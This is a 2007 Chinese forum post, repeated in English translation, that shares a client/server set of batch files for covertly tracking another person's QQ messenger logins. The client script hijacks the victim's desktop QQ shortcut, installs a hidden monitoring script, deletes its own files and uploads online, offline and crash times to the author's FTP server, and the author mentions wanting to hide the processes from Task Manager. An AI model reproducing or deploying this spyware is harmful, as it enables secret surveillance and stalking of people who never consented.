写此批处理纯属好玩,没有什么技术含量 请务BT ^_^
替换文件里的QQ号码bat,用的是版主 lxmxn 的代码...嘿嘿 自己写不来
本来想更改ping.exe , find.exe , ftp.exe 等文件名 让对方在任务管理器里查看不出异常来,但是修改cmd.exe路径时遇到难度 所以就没有改
客户端文件:
____________________________
点这里替换所有文本里的QQ号码.bat
\tihuan
初始化bak.bat
QQbak.bat
QQ.vbs
Shortcut.exe 快捷方式创建EXE
sleep.exe 延迟
startbak
noicqbak
344536606onbak
344536606errorbak
344536606error2bak
344536606downbak
344536606down.txt
344536606error.txt
344536606exit.txt
344536606on.txt
没有找到目录344536606.txt
请看说明.txt
已经替换过.txt
__________________________________
初始化bak.bat 内容
REM 查找QQ文件夹所在目录
:diskC
for /r c:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startC
:diskD
for /r d:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startD
:diskE
for /r e:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startE
:diskF
for /r f:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startF
:diskG
for /r g:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startG
:diskH
for /r h:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startH
:startC
if not exist "%qexepath%" goto diskD
goto next
:startD
if not exist "%qexepath%" goto diskE
goto next
:startE
if not exist "%qexepath%" goto diskF
goto next
:startF
if not exist "%qexepath%" goto :diskG
goto next
:startG
if not exist "%qexepath%" goto :DiskH
goto next
:startH
if not exist "%qexepath%" goto :no
goto next
找到了就复制文件到QQ目录下
:next
copy qq.vbs "%qqpath%"
copy qq.bat "%qqpath%"
copy 344536606on "%qqpath%"
copy 344536606down "%qqpath%"
copy 344536606error "%qqpath%"
copy 344536606error2 "%qqpath%"
copy sleep.exe "%qqpath%"
ftp -s:start
REM 搜索桌面上的QQ图标然后删除, 然后创建一个新的Q图标,目标是QQ.vbs
for /r "%userprofile%\桌面" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
for /r "%allusersprofile%\桌面" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
Shortcut.exe /f:"%userprofile%\桌面\QQ.lnk" /a:c /t:"%qqpath%\qq.vbs" /w:"%qqpath%" /i:"%qexepath%,0"
REM 删除所有用过的文件
del qq.vbs
del qq.bat
del sleep.exe
del Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del 没有找到目录344536606.txt
del 初始化.bat
exit
REM 没有找到的话就向ftp反回报告
:no
ftp -s:noicq
del qq.vbs
del qq.bat
del sleep.exe
Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del 没有找到目录344536606.txt
del 初始化.bat
QQ.bat 内容
REM 以QQ号码文件目录下的 ewh.db做为判断上线,naccountservice.dat判断下线
@echo off
del 344536606\ewh.db
del 344536606\naccountservice.dat
start qq.exe
REM 在进程里查找ping.exe ,因为如果cmd守护程序还在的话,再运行一次,会出错,
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
ping -n 12 127.1 > nul
if not exist 344536606\ewh.db goto detect
:start
date /t > 344536606on.txt
time /t >> 344536606on.txt
ftp -s:344536606on
REM 如果在344536606exit.txt找到了:就代表上次运行完成,没有被Kiss或重启,如果没有找到就上传报告
type 344536606exit.txt|find ":" && goto online
ftp -s:344536606error
date /t >> 344536606error.txt
time /t >> 344536606error.txt
ftp -s:344536606error2
REM 检测naccountservice.dat ,如果有了,就代表下线了
:online
set qqpath="%cd%"
cd 344536606
dir|find "naccountservice.dat" && goto downline
cd /d "%qqpath%"
ping -n 6 127.1 > nul
goto online
:downline
cd /d "%qqpath%"
date /t > 344536606down.txt
time /t >> 344536606down.txt
time /t > 344536606exit.txt
ftp -s:344536606down
del 344536606down.txt
del 344536606exit.txt
exit
REM 打开QQ后如果没检测到ewh.db 就继续检测几次,因为有些人打开QQ会过一下才上
:detect
set /a max=%max%+1
if %max%==6 exit
set qqpath2="%cd%"
cd 344536606
dir|find "ewh.db" && cd /d "%qqpath2%" && goto start
cd /d "%qqpath2%"
ping -n 6 127.1 > nul
goto detect
服务端文件:
_______________
Server.bat
Server
_______________
Server.bat 内容
@echo off
:loop
color 07
ftp -s:Server
cls
color 0a
type 没有找到目录344536606.txt|find "QQ" && goto exit
type 344536606exit.txt|find ":" && goto no
cls
echo.
echo.
echo.
echo 对方在线...
echo.
echo.
echo 对方上次--下线时间: && type 344536606down.txt
echo.
echo.
echo 对方本次--上线时间: && type 344536606on.txt
echo.
echo.
echo 对方最近最近几次的异常退出记录 && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop
:no
cls
echo.
echo.
echo.
echo 对方不在线...
echo.
echo.
echo 对方上次--上线时间: && type 344536606on.txt
echo.
echo.
echo 对方上次--下线时间: && type 344536606down.txt
echo.
echo.
echo 对方最近几次的异常退出记录 && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop
:exit
type 没有找到目录344536606.txt
pause>nul
Server 内容
open xxx.xxx.xxx
username
password
cd wwwroot
get 344536606on.txt
get 344536606down.txt
get 344536606exit.txt
get 344536606error.txt
get 没有找到目录344536606.txt
bye
下载
客户端
服务端
Last edited by sweetdreamlan on 2007-10-26 at 01:49 AM ]
Writing this batch is purely for fun, with no technical content. Please don't be BT ^_^
The batch file that replaces QQ numbers in files uses the code of the moderator lxmxn... Hehe, I can't write it myself.
Originally, I wanted to change the filenames of ping.exe, find.exe, ftp.exe, etc. to make it not abnormal for the other party to check in the task manager, but I had difficulties when modifying the path of cmd.exe, so I didn't change it.
Client files:
____________________________
Click here to replace all text with QQ numbers.bat
\tihuan
Initialize bak.bat
QQbak.bat
QQ.vbs
Shortcut.exe shortcut creation EXE
sleep.exe delay
startbak
noicqbak
344536606onbak
344536606errorbak
344536606error2bak
344536606downbak
344536606down.txt
344536606error.txt
344536606exit.txt
344536606on.txt
Directory 344536606.txt not found
Please see instructions.txt
Already replaced.txt
__________________________________
Content of Initialize bak.bat
REM Find the directory where the QQ folder is located
:diskC
for /r c:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startC
:diskD
for /r d:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startD
:diskE
for /r e:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startE
:diskF
for /r f:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startF
:diskG
for /r g:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startG
:diskH
for /r h:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startH
:startC
if not exist "%qexepath%" goto diskD
goto next
:startD
if not exist "%qexepath%" goto diskE
goto next
:startE
if not exist "%qexepath%" goto diskF
goto next
:startF
if not exist "%qexepath%" goto :diskG
goto next
:startG
if not exist "%qexepath%" goto :DiskH
goto next
:startH
if not exist "%qexepath%" goto :no
goto next
If found, copy the file to the QQ directory
:next
copy qq.vbs "%qqpath%"
copy qq.bat "%qqpath%"
copy 344536606on "%qqpath%"
copy 344536606down "%qqpath%"
copy 344536606error "%qqpath%"
copy 344536606error2 "%qqpath%"
copy sleep.exe "%qqpath%"
ftp -s:start
REM Search for the QQ icon on the desktop and delete it, then create a new Q icon, the target is qq.vbs
for /r "%userprofile%\Desktop" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
for /r "%allusersprofile%\Desktop" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
Shortcut.exe /f:"%userprofile%\Desktop\QQ.lnk" /a:c /t:"%qqpath%\qq.vbs" /w:"%qqpath%" /i:"%qexepath%,0"
REM Delete all used files
del qq.vbs
del qq.bat
del sleep.exe
del Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del Directory 344536606.txt not found
del Initialize.bat
exit
REM If not found, return a report to ftp
:no
ftp -s:noicq
del qq.vbs
del qq.bat
del sleep.exe
Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del Directory 344536606.txt not found
del Initialize.bat
Content of QQ.bat
REM Use ewh.db in the QQ number file directory as the judgment for going online, and naccountservice.dat as the judgment for going offline
@echo off
del 344536606\ewh.db
del 344536606\naccountservice.dat
start qq.exe
REM Find ping.exe in the process, because if the cmd daemon is still there, running it again will cause an error,
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
ping -n 12 127.1 > nul
if not exist 344536606\ewh.db goto detect
:start
date /t > 344536606on.txt
time /t >> 344536606on.txt
ftp -s:344536606on
REM If ":" is found in 344536606exit.txt: it means the last run was completed, not kissed or restarted. If not found, upload the report
type 344536606exit.txt|find ":" && goto online
ftp -s:344536606error
date /t >> 344536606error.txt
time /t >> 344536606error.txt
ftp -s:344536606error2
REM Detect naccountservice.dat, if it exists, it means offline
:online
set qqpath="%cd%"
cd 344536606
dir|find "naccountservice.dat" && goto downline
cd /d "%qqpath%"
ping -n 6 127.1 > nul
goto online
:downline
cd /d "%qqpath%"
date /t > 344536606down.txt
time /t >> 344536606down.txt
time /t > 344536606exit.txt
ftp -s:344536606down
del 344536606down.txt
del 344536606exit.txt
exit
REM If ewh.db is not detected after opening QQ, continue to detect a few more times, because some people will go online after a while
:detect
set /a max=%max%+1
if %max%==6 exit
set qqpath2="%cd%"
cd 344536606
dir|find "ewh.db" && cd /d "%qqpath2%" && goto start
cd /d "%qqpath2%"
ping -n 6 127.1 > nul
goto detect
Server files:
_______________
Server.bat
Server
_______________
Content of Server.bat
@echo off
:loop
color 07
ftp -s:Server
cls
color 0a
type Directory 344536606.txt not found|find "QQ" && goto exit
type 344536606exit.txt|find ":" && goto no
cls
echo.
echo.
echo.
echo The other party is online...
echo.
echo.
echo The other party's last -- offline time: && type 344536606down.txt
echo.
echo.
echo The other party's this time -- online time: && type 344536606on.txt
echo.
echo.
echo The other party's recent abnormal exit records && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop
:no
cls
echo.
echo.
echo.
echo The other party is not online...
echo.
echo.
echo The other party's last -- online time: && type 344536606on.txt
echo.
echo.
echo The other party's last -- offline time: && type 344536606down.txt
echo.
echo.
echo The other party's recent abnormal exit records && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop
:exit
type Directory 344536606.txt not found
pause>nul
Content of Server
open xxx.xxx.xxx
username
password
cd wwwroot
get 344536606on.txt
get 344536606down.txt
get 344536606exit.txt
get 344536606error.txt
get Directory 344536606.txt not found
bye
Download
Client
Server
Last edited by sweetdreamlan on 2007-10-26 at 01:49 AM ]